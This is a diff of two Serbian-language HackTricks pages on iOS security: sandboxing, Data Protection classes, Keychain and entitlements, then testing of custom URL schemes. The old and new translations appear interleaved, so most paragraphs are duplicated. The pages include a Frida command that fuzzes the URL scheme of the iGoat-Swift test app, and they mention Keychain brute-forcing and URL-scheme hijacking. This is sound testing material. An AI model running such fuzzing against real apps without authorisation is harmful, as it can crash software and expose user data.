* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
# Separacija privilegija i pesak
# Razdvajanje privilegija i Sandbox
U iOS-u postoji razlika u privilegijama između aplikacija koje su dostupne korisniku i osnovnih procesa sistema. Aplikacije se izvršavaju pod identitetom korisnika **`mobile`**, dok ključni sistemski procesi rade kao **`root`**. Ova separacija je poboljšana mehanizmom peska, koji nameće stroga ograničenja na akcije koje aplikacije mogu preduzeti. Na primer, čak i ako aplikacije dele isti korisnički identitet, zabranjeno im je pristupanje ili menjanje podataka drugih aplikacija.
U iOS-u, postoji razlika u privilegijama između aplikacija dostupnih korisnicima i osnovnih procesa sistema. Aplikacije se pokreću pod identitetom korisnika **`mobile`**, dok ključni sistemski procesi rade kao **`root`**. Ovo razdvajanje se dodatno pojačava mehanizmom sandbox-a, koji nameće stroga ograničenja na to koje akcije aplikacije mogu preduzeti. Na primer, čak i ako aplikacije dele isti identitet korisnika, zabranjeno im je pristupanje ili modifikovanje podataka jednih drugih.
Aplikacije se instaliraju u određeni direktorijum (`private/var/mobile/Applications/{random ID}`) i imaju ograničen pristup određenim sistemskim područjima i funkcionalnostima, kao što su SMS poruke i telefonski pozivi. Pristup zaštićenim područjima pokreće zahtev za dozvolu korisnika.
Aplikacije se instaliraju u specifičnu direktoriju (`private/var/mobile/Applications/{random ID}`) i imaju ograničen pristup čitanju određenih sistemskih oblasti i funkcionalnosti, kao što su SMS i telefonski pozivi. Pristup zaštićenim oblastima pokreće iskačući zahtev za korisničku dozvolu.
# Zaštita podataka
iOS nudi programerima **Data Protection APIs**, izgrađene na Secure Enclave Processor (SEP) - posebnom koprocessoru za kriptografske operacije i upravljanje ključevima. SEP obezbeđuje integritet zaštite podataka putem jedinstvenog ključa specifičnog za uređaj, UID uređaja, koji je ugrađen u njega.
iOS nudi programerima **API-je za zaštitu podataka**, koji su izgrađeni na Secure Enclave Processor (SEP) — posvećenom koprocesoru za kriptografske operacije i upravljanje ključevima. SEP osigurava integritet zaštite podataka putem jedinstvenog ključa specifičnog za uređaj, UID uređaja, ugrađenog u njega.
Prilikom kreiranja datoteke, generiše se jedinstveni 256-bitni AES ključ za šifrovanje sadržaja datoteke. Ovaj ključ za šifrovanje, zajedno sa ID-em klase, zatim se šifruje pomoću ključa klase i čuva unutar metapodataka datoteke. Dekripcija datoteke uključuje korišćenje sistema ključa za pristup metapodacima, dobijanje ključa klase sa ID-em klase, a zatim dekripciju jedinstvenog ključa za šifrovanje datoteke.
Pri kreiranju datoteke generiše se jedinstveni 256-bitni AES enkripcioni ključ, koji enkriptuje sadržaj datoteke. Ovaj enkripcioni ključ, zajedno sa ID-jem klase, zatim se enkriptuje koristeći ključ klase i čuva unutar metapodataka datoteke. Dešifrovanje datoteke uključuje korišćenje sistemskog ključa za pristup metapodacima, preuzimanje ključa klase sa ID-jem klase, a zatim dešifrovanje jedinstvenog enkripcionog ključa datoteke.
iOS definiše **četiri klase zaštite podataka**, koje određuju kada i kako se podaci mogu pristupiti:
iOS definiše **četiri klase zaštite** za bezbednost podataka, koje određuju kada i kako se podaci mogu pristupiti:
- **Potpuna zaštita (NSFileProtectionComplete)**: Podaci su nedostupni sve dok se uređaj ne otključa korisnikovim šifrom.
- **Potpuna zaštita (NSFileProtectionComplete)**: Podaci su nedostupni dok se uređaj ne otključa korišćenjem korisničkog lozinke.
- **Zaštićeno osim ako je otvoreno (NSFileProtectionCompleteUnlessOpen)**: Omogućava pristup datoteci čak i nakon što je uređaj zaključan, pod uslovom da je datoteka otvorena kada je uređaj otključan.
- **Zaštićeno do prve autentifikacije korisnika (NSFileProtectionCompleteUntilFirstUserAuthentication)**: Podaci su dostupni nakon prve otključane korisničke autentifikacije nakon pokretanja, i ostaju dostupni čak i ako se uređaj ponovo zaključa.
- **Bez zaštite (NSFileProtectionNone)**: Podaci su zaštićeni samo UID-om uređaja, što omogućava brisanje podataka na daljinu.
- **Zaštićeno do prve korisničke autentifikacije (NSFileProtectionCompleteUntilFirstUserAuthentication)**: Podaci su dostupni nakon prve korisničke otključavanja posle pokretanja, ostajući dostupni čak i ako se uređaj ponovo zaključa.
- **Bez zaštite (NSFileProtectionNone)**: Podaci su zaštićeni samo UID-om uređaja, olakšavajući brzo daljinsko brisanje podataka.
Šifrovanje svih klasa, osim `NSFileProtectionNone`, uključuje ključ koji se dobija iz UID-a uređaja i korisničke šifre, čime se osigurava da se dekripcija može izvršiti samo na uređaju sa ispravnom šifrom. Od iOS 7, podrazumevana klasa zaštite je "Zaštićeno do prve autentifikacije korisnika".
Enkripcija svih klasa, osim za `NSFileProtectionNone`, uključuje ključ izveden iz UID-a uređaja i korisničke lozinke, osiguravajući da je dešifrovanje moguće samo na uređaju sa ispravnom lozinkom. Od iOS 7 nadalje, podrazumevana klasa zaštite je "Zaštićeno do prve korisničke autentifikacije".
Programeri mogu koristiti [**FileDP**](https://github.com/abjurato/FileDp-Source), alat za pregledanje klase zaštite podataka datoteka na iPhone-u.
Programeri mogu koristiti [**FileDP**](https://github.com/abjurato/FileDp-Source), alat za inspekciju klase zaštite podataka datoteka na iPhone-u.
```python
# Example code to use FileDP for checking file protection class
# Note: Ensure your device is jailbroken and has Python installed to use FileDP.
@ -44,44 +45,44 @@ python filedp.py /path/to/check
```
## **Keychain**
U iOS-u, **Keychain** služi kao siguran **šifrovan kontejner** za skladištenje **osetljivih informacija**, koji je dostupan samo aplikaciji koja ga je skladištila ili onima koji su eksplicitno ovlašćeni. Ova enkripcija je ojačana jedinstvenom **lozinkom generisanom od strane iOS-a**, koja je sama po sebi enkriptovana sa **AES-om**. Ovaj proces enkripcije koristi **PBKDF2 funkciju**, kombinujući korisnikovu lozinku sa solju izvedenom iz **UID-a** uređaja, komponentom kojoj samo **bezbedni enklavni čipset** može pristupiti. Kao rezultat toga, čak i ako je korisnikova lozinka poznata, sadržaj Keychain-a ostaje nedostupan na bilo kom uređaju osim onog na kojem je originalno enkriptovan.
U iOS-u, **Keychain** služi kao siguran **kriptovani kontejner** za čuvanje **osetljivih informacija**, koji je dostupan samo aplikaciji koja ga je sačuvala ili onima koji su izričito autorizovani. Ova enkripcija je ojačana jedinstvenom **lozinkom koju generiše iOS**, koja je sama po sebi kriptovana sa **AES**. Ovaj proces enkripcije koristi **PBKDF2 funkciju**, kombinujući korisnički kod sa solju dobijenom iz **UID** uređaja, komponentom kojoj može pristupiti samo **secure enclave chipset**. Kao rezultat, čak i ako je korisnički kod poznat, sadržaj Keychain-a ostaje nedostupan na bilo kom uređaju osim onog na kojem je prvobitno kriptovan.
**Upravljanje i pristup** podacima Keychain-a se obavljaju putem **`securityd` demona**, na osnovu određenih privilegija aplikacije kao što su `Keychain-access-groups` i `application-identifier`.
**Upravljanje i pristup** podacima Keychain-a obavlja **`securityd` daemon**, na osnovu specifičnih prava aplikacije kao što su `Keychain-access-groups` i `application-identifier`.
### **Operacije Keychain API-ja**
### **Operacije Keychain API-a**
Keychain API, detaljno opisan u [dokumentaciji Apple-ovih Keychain Services](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/02concepts/concepts.html), pruža osnovne funkcije za upravljanje sigurnim skladištenjem:
Keychain API, detaljno opisan u [Apple-ovoj dokumentaciji o Keychain Services](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/02concepts/concepts.html), pruža osnovne funkcije za upravljanje sigurnim skladištem:
- **`SecItemAdd`**: Dodaje novu stavku u Keychain.
- **`SecItemUpdate`**: Ažurira postojeću stavku u Keychain-u.
- **`SecItemCopyMatching`**: Preuzima stavku iz Keychain-a.
- **`SecItemDelete`**: Uklanja stavku iz Keychain-a.
- **`SecItemUpdate`**: Ažurira postojeću stavku u Keychain.
- **`SecItemCopyMatching`**: Preuzima stavku iz Keychain.
- **`SecItemDelete`**: Uklanja stavku iz Keychain.
Brute-forcing Keychain lozinke uključuje ili napad na enkriptovan ključ direktno ili pokušaj pogodjenja lozinke na samom uređaju, što je značajno otežano zbog bezbednog enklavnog sprovođenja kašnjenja između neuspelih pokušaja.
Brute-forcing lozinke Keychain-a uključuje ili napad na kriptovani ključ direktno ili pokušaj pogađanja lozinke na samom uređaju, što je značajno otežano primenom sigurnog enclave-a koji nameće kašnjenje između neuspešnih pokušaja.
### **Konfigurisanje zaštite podataka Keychain stavki**
### **Konfigurisanje zaštite podataka stavki Keychain-a**
Nivoi zaštite podataka za Keychain stavke se postavljaju pomoću atributa `kSecAttrAccessible` prilikom kreiranja ili ažuriranja stavke. Ovi nivoi, [kako je navedeno od strane Apple-a](https://developer.apple.com/documentation/security/keychain_services/keychain_items/item_attribute_keys_and_values#1679100), određuju kada i kako su Keychain stavke dostupne:
Nivoi zaštite podataka za stavke Keychain-a postavljaju se korišćenjem atributa `kSecAttrAccessible` tokom kreiranja ili ažuriranja stavke. Ovi nivoi, [kako je navedeno od strane Apple-a](https://developer.apple.com/documentation/security/keychain_services/keychain_items/item_attribute_keys_and_values#1679100), određuju kada i kako su stavke Keychain-a dostupne:
- **`kSecAttrAccessibleAlways`**: Uvek dostupno, bez obzira na status zaključavanja uređaja.
- **`kSecAttrAccessibleAlways`**: Dostupno u bilo kojem trenutku, bez obzira na status zaključavanja uređaja.
- **`kSecAttrAccessibleAlwaysThisDeviceOnly`**: Uvek dostupno, ali nije uključeno u rezervne kopije.
- **`kSecAttrAccessibleAfterFirstUnlock`**: Dostupno nakon prvog otključavanja nakon restarta.
- **`kSecAttrAccessibleAfterFirstUnlockThisDeviceOnly`**: Isto kao prethodno, ali nije prenosivo na nove uređaje.
- **`kSecAttrAccessibleAfterFirstUnlock`**: Dostupno nakon prvog otključavanja posle ponovnog pokretanja.
- **`kSecAttrAccessibleAfterFirstUnlockThisDeviceOnly`**: Isto kao i gore, ali nije prenosivo na nove uređaje.
- **`kSecAttrAccessibleWhenUnlocked`**: Dostupno samo kada je uređaj otključan.
- **`kSecAttrAccessibleWhenUnlockedThisDeviceOnly`**: Dostupno kada je otključano, nije uključeno u rezervne kopije.
- **`kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly`**: Zahteva lozinku uređaja, nije uključeno u rezervne kopije.
**`AccessControlFlags`** dodatno preciziraju metode pristupa, omogućavajući biometrijsku autentifikaciju ili upotrebu lozinke.
**`AccessControlFlags`** dodatno preciziraju metode pristupa, omogućavajući biometrijsku autentifikaciju ili korišćenje lozinke.
### **Upozorenje za jailbroken uređaje**
### **Upozorenje o Jailbroken uređajima**
{% hint style="warning" %}
Na **jailbroken uređajima**, zaštite Keychain-a su kompromitovane, što predstavlja značajan sigurnosni rizik.
Na **jailbroken uređajima**, zaštite Keychain-a su kompromitovane, što predstavlja značajan bezbednosni rizik.
{% endhint %}
### **Trajnost Keychain podataka**
### **Trajnost podataka Keychain-a**
Za razliku od podataka specifičnih za aplikaciju koji se brišu prilikom deinstalacije aplikacije, **Keychain podaci persistiraju** na uređaju. Ova karakteristika omogućava novim vlasnicima polovnog uređaja da pristupe podacima prethodnog vlasnika aplikacije jednostavno reinstaliranjem aplikacija. Razvojni programeri se savetuju da proaktivno brišu Keychain podatke prilikom instalacije aplikacije ili tokom odjavljivanja kako bi umanjili ovaj rizik. Evo primera Swift koda koji demonstrira kako obrisati Keychain podatke prilikom prvog pokretanja aplikacije:
Za razliku od podataka specifičnih za aplikaciju koji se brišu prilikom deinstalacije aplikacije, **podaci Keychain-a ostaju** na uređaju. Ova karakteristika može omogućiti novim vlasnicima polovnog uređaja da pristupe podacima prethodnog vlasnika aplikacije jednostavno ponovnim instaliranjem aplikacija. Programerima se savetuje da proaktivno obrišu podatke Keychain-a prilikom instalacije aplikacije ili tokom odjave kako bi umanjili ovaj rizik. Evo primera Swift koda koji demonstrira kako da obrišete podatke Keychain-a prilikom prvog pokretanja aplikacije:
```swift
let userDefaults = UserDefaults.standard
@ -93,44 +94,44 @@ userDefaults.set(true, forKey: "hasRunBefore")
userDefaults.synchronize() // Forces the app to update UserDefaults
}
```
# **Mogućnosti aplikacije**
# **App Capabilities**
U svetu razvoja aplikacija, **sandboxing** igra ključnu ulogu u poboljšanju bezbednosti. Ovaj proces osigurava da svaka aplikacija radi unutar svog sopstvenog jedinstvenog direktorijuma, čime se sprečava pristup sistemskim fajlovima ili podacima drugih aplikacija. Sprovođenje ovih ograničenja vrši se putem sandbox politika, koje su deo **Trusted BSD (MAC) Mandatory Access Control Framework**.
U oblasti razvoja aplikacija, **sandboxing** igra ključnu ulogu u poboljšanju bezbednosti. Ovaj proces osigurava da svaka aplikacija funkcioniše unutar svog jedinstvenog domaćeg direktorijuma, čime se sprečava pristup sistemskim datotekama ili podacima koji pripadaju drugim aplikacijama. Sprovođenje ovih ograničenja vrši se kroz sandbox politike, koje su deo **Trusted BSD (MAC) Mandatory Access Control Framework**.
Razvojni programeri imaju mogućnost konfigurisanja određenih **mogućnosti ili dozvola** za svoje aplikacije, kao što su **Zaštita podataka** ili **Deljenje ključeva**. Ove dozvole se primenjuju odmah nakon instaliranja aplikacije. Međutim, za pristup određenim zaštićenim resursima, aplikacija mora dobiti izričitu saglasnost korisnika prilikom prvog pokušaja. To se postiže kroz upotrebu _purpose strings_ ili _usage description strings_, koji se prikazuju korisnicima u zahtevu za dozvolu.
Programeri imaju mogućnost da konfigurišu određene **kapacitete ili dozvole** za svoje aplikacije, kao što su **Data Protection** ili **Keychain Sharing**. Ove dozvole se primenjuju odmah nakon instalacije aplikacije. Ipak, za pristup određenim zaštićenim resursima, aplikacija mora dobiti izričitu saglasnost od korisnika prilikom prvog pokušaja. To se postiže korišćenjem _purpose strings_ ili _usage description strings_, koje se prikazuju korisnicima u alertu za zahtev za dozvolu.
Za one koji imaju pristup izvornom kodu, provera dozvola koje su uključene u `Info.plist` fajl može se obaviti na sledeći način:
Za one koji imaju pristup izvor kodu, verifikacija dozvola uključenih u `Info.plist` datoteku može se izvršiti na sledeći način:
1. Otvorite projekat u Xcode-u.
2. Pronađite i otvorite `Info.plist` fajl.
3. Pretražite ključeve sa prefiksom `"Privacy -"`, sa opcijom prikaza sirovih ključeva/vrednosti radi jasnoće.
2. Pronađite i otvorite `Info.plist` datoteku.
3. Pretražujte ključeve koji počinju sa `"Privacy -"`, uz mogućnost pregleda sirovih ključeva/vrednosti radi jasnoće.
Kada se radi sa IPA fajlom, mogu se pratiti sledeći koraci:
Kada se radi sa IPA datotekom, sledeći koraci se mogu pratiti:
1. Dekompresirajte IPA fajl.
2. Pronađite `Info.plist` fajl unutar `Payload/<naziv_aplikacije>.app/`.
3. Konvertujte fajl u XML format ako je potrebno, radi lakšeg pregleda.
1. Raspakujte IPA.
2. Pronađite `Info.plist` datoteku unutar `Payload/<appname>.app/`.
3. Konvertujte datoteku u XML format ako je potrebno, radi lakšeg pregleda.
Na primer, purpose strings u `Info.plist` fajlu mogu izgledati ovako:
Na primer, purpose strings u `Info.plist` datoteci mogu izgledati ovako:
```xml
<plist version="1.0">
<dict>
<key>NSLocationWhenInUseUsageDescription</key>
<string>Your location is used to provide turn-by-turn directions to your destination.</string>
```
## Mogućnosti uređaja
Fajl `Info.plist` aplikacije specificira **mogućnosti uređaja** koje pomažu App Store-u da filtrira aplikacije prema kompatibilnosti uređaja. Ove mogućnosti su definisane pod ključem **`UIRequiredDeviceCapabilities`**. Na primer:
## Device Capabilities
Datoteka `Info.plist` aplikacije specificira **mogućnosti uređaja** koje pomažu App Store-u da filtrira aplikacije prema kompatibilnosti sa uređajem. Ove su definisane pod ključem **`UIRequiredDeviceCapabilities`**. Na primer:
```xml
<key>UIRequiredDeviceCapabilities</key>
<array>
<string>armv7</string>
</array>
```
Ovaj primer ukazuje da je aplikacija kompatibilna sa skupom instrukcija armv7. Razvojni programeri takođe mogu specificirati mogućnosti kao što je nfc kako bi osigurali da njihova aplikacija bude dostupna samo uređajima koji podržavaju NFC.
Ovaj primer ukazuje da je aplikacija kompatibilna sa armv7 skupom instrukcija. Programeri takođe mogu da specificiraju mogućnosti kao što je nfc kako bi osigurali da je njihova aplikacija dostupna samo uređajima koji podržavaju NFC.
## Ovlašćenja
**Ovlašćenja** su još jedan ključni aspekt razvoja iOS aplikacija, koji služe kao parovi ključ-vrednost koji dodeljuju aplikacijama dozvole za obavljanje određenih operacija izvan vremena izvršavanja. Na primer, omogućavanje **Zaštite podataka** u aplikaciji uključuje dodavanje određenog ovlašćenja u Xcode projekat, koje se zatim odražava u datoteci ovlašćenja aplikacije ili u ugrađenoj mobilnoj provizionoj datoteci za IPAs.
**Ovlašćenja** su još jedan kritičan aspekt razvoja iOS aplikacija, služeći kao parovi ključ-vrednost koji dodeljuju aplikacijama dozvolu da izvršavaju određene operacije van provere u vreme izvođenja. Na primer, omogućavanje **Zaštite podataka** u aplikaciji podrazumeva dodavanje specifičnog ovlašćenja u Xcode projektu, što se zatim odražava u datoteci ovlašćenja aplikacije ili u ugrađenoj mobilnoj proviziji za IPA.
# Reference
* [https://mas.owasp.org/MASTG/iOS/0x06d-Testing-Data-Storage](https://mas.owasp.org/MASTG/iOS/0x06d-Testing-Data-Storage)
@ -138,18 +139,17 @@ Ovaj primer ukazuje da je aplikacija kompatibilna sa skupom instrukcija armv7. R
* [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0069/](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0069/)
* [https://mas.owasp.org/MASTG/iOS/0x06h-Testing-Platform-Interaction/](https://mas.owasp.org/MASTG/iOS/0x06h-Testing-Platform-Interaction/)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **oglašavanje vaše kompanije u HackTricks-u** ili **preuzmete HackTricks u PDF formatu**, proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,28 +1,29 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE PRETPLATE**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
Ovo je sažetak povezanih informacija sa [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0075/](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0075/)
This is a sumary from the related information from [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0075/](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0075/)
## Osnovne informacije
## Basic Information
Prilagođene URL šeme omogućavaju aplikacijama da komuniciraju koristeći prilagođeni protokol, kako je detaljno opisano u [Apple Developer dokumentaciji](https://developer.apple.com/library/content/documentation/iPhone/Conceptual/iPhoneOSProgrammingGuide/Inter-AppCommunication/Inter-AppCommunication.html#//apple_ref/doc/uid/TP40007072-CH6-SW1). Ove šeme moraju biti deklarisane od strane aplikacije, koja zatim obrađuje dolazne URL-ove koji slede te šeme. Važno je **validirati sve parametre URL-a** i **odbaciti bilo kakve neispravne URL-ove** kako bi se sprečili napadi putem ovog vektora.
Prilagođeni URL obrasci omogućavaju aplikacijama da komuniciraju koristeći prilagođeni protokol, kao što je detaljno opisano u [Apple Developer Documentation](https://developer.apple.com/library/content/documentation/iPhone/Conceptual/iPhoneOSProgrammingGuide/Inter-AppCommunication/Inter-AppCommunication.html#//apple_ref/doc/uid/TP40007072-CH6-SW1). Ove obrasce mora deklarisati aplikacija, koja zatim obrađuje dolazne URL-ove prema tim obrascima. Ključno je **validirati sve URL parametre** i **odbaciti sve neispravne URL-ove** kako bi se sprečili napadi putem ovog vektora.
Dato je primer gde URI `myapp://hostname?data=123876123` pokreće određenu akciju aplikacije. Primećena ranjivost bila je u Skype Mobile aplikaciji, koja je omogućavala neovlaštene pozive putem `skype://` protokola. Registrovane šeme mogu se pronaći u `Info.plist` datoteci aplikacije pod `CFBundleURLTypes`. Zlonamerne aplikacije mogu iskoristiti ovo tako što će ponovo registrovati URI-jeve kako bi presrele osetljive informacije.
Primer je dat gde URI `myapp://hostname?data=123876123` poziva specifičnu akciju aplikacije. Zapažena ranjivost bila je u Skype Mobile aplikaciji, koja je omogućila neovlašćene pozivne akcije putem `skype://` protokola. Registrovani obrasci mogu se naći u `Info.plist` aplikacije pod `CFBundleURLTypes`. Zlonamerne aplikacije mogu to iskoristiti ponovnim registracijom URI-a kako bi presreli osetljive informacije.
### Registracija šema upita aplikacije
### Application Query Schemes Registration
Od iOS 9.0, da bi se proverilo da li je aplikacija dostupna, `canOpenURL:` zahteva deklarisanje URL šema u `Info.plist` datoteci pod `LSApplicationQueriesSchemes`. Ovo ograničava šeme koje aplikacija može koristiti za upite na 50, poboljšavajući privatnost sprečavanjem enumeracije aplikacija.
Od iOS 9.0, da bi se proverilo da li je aplikacija dostupna, `canOpenURL:` zahteva deklarisanje URL obrazaca u `Info.plist` pod `LSApplicationQueriesSchemes`. Ovo ograničava obrasce koje aplikacija može upititi na 50, poboljšavajući privatnost sprečavanjem enumeracije aplikacija.
```xml
<key>LSApplicationQueriesSchemes</key>
<array>
@ -30,9 +31,9 @@ Od iOS 9.0, da bi se proverilo da li je aplikacija dostupna, `canOpenURL:` zahte
<string>url_scheme2</string>
</array>
```
### Testiranje obrade i validacije URL-ova
### Testing URL Handling and Validation
Razvojni programeri trebaju pregledati određene metode u izvornom kodu kako bi razumeli konstrukciju i validaciju putanje URL-a, kao što su `application:didFinishLaunchingWithOptions:` i `application:openURL:options:`. Na primer, Telegram koristi različite metode za otvaranje URL-ova:
Razvijači bi trebali da pregledaju specifične metode u izvor kodu kako bi razumeli konstrukciju i validaciju URL putanja, kao što su `application:didFinishLaunchingWithOptions:` i `application:openURL:options:`. Na primer, Telegram koristi različite metode za otvaranje URL-ova:
```swift
func application(_ application: UIApplication, open url: URL, sourceApplication: String?) -> Bool {
self.openUrl(url: url)
@ -56,17 +57,17 @@ self.openUrl(url: url)
return true
}
```
### Testiranje URL zahteva drugim aplikacijama
### Testing URL Requests to Other Apps
Metode poput `openURL:options:completionHandler:` su ključne za otvaranje URL-ova i interakciju sa drugim aplikacijama. Identifikacija korišćenja ovih metoda u izvornom kodu aplikacije je ključna za razumevanje spoljnih komunikacija.
Metode kao što su `openURL:options:completionHandler:` su ključne za otvaranje URL-ova za interakciju sa drugim aplikacijama. Identifikacija korišćenja takvih metoda u izvor kodu aplikacije je ključna za razumevanje spoljne komunikacije.
### Testiranje zastarelih metoda
### Testing for Deprecated Methods
Zastarele metode za obradu otvaranja URL-ova, poput `application:handleOpenURL:` i `openURL:`, treba identifikovati i pregledati zbog bezbednosnih implikacija.
Zastarjeli metodi koji se bave otvaranjem URL-ova, kao što su `application:handleOpenURL:` i `openURL:`, treba da budu identifikovani i pregledani zbog bezbednosnih implikacija.
### Fuzziranje URL šema
### Fuzzing URL Schemes
Fuzziranje URL šema može identifikovati greške u memoriji. Alati poput [Fride](https://codeshare.frida.re/@dki/ios-url-scheme-fuzzing/) mogu automatizovati ovaj proces otvaranjem URL-ova sa različitim payload-ima kako bi se pratili padovi, kao što je manipulacija URL-ovima u iGoat-Swift aplikaciji:
Fuzzing URL shema može identifikovati greške u oštećenju memorije. Alati kao što je [Frida](https://codeshare.frida.re/@dki/ios-url-scheme-fuzzing/) mogu automatizovati ovaj proces otvaranjem URL-ova sa različitim payload-ima kako bi se pratili padovi, što je ilustrovano manipulacijom URL-ova u iGoat-Swift aplikaciji:
```bash
$ frida -U SpringBoard -l ios-url-scheme-fuzzing.js
[iPhone::SpringBoard]-> fuzz("iGoat", "iGoat://?contactNumber={0}&message={0}")
@ -74,19 +75,20 @@ Watching for crashes from iGoat...
No logs were moved.
Opened URL: iGoat://?contactNumber=0&message=0
```
## Reference
## References
* [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0075/](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0075/)
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Podržite HackTricks</summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu**, proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
